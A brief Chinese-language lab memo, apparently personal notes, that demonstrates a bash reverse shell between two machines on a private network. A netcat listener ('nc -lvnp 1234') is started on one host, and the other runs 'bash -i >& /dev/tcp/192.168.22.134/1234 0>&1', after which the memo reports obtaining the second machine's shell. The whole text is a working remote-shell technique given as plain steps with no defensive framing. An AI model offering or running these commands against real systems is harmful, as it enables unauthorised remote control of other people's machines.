服务器

192.168.22.134

开启端口监听，监听端口1234

nc -lvnp 1234

++++++++++++++++++++++分割线+++++++++++++++++++++++++++

客户机

192.168.22.136

开启反弹

bash -i >& /dev/tcp/192.168.22.134/1234 0>&1


反弹成功，获得客户机的shell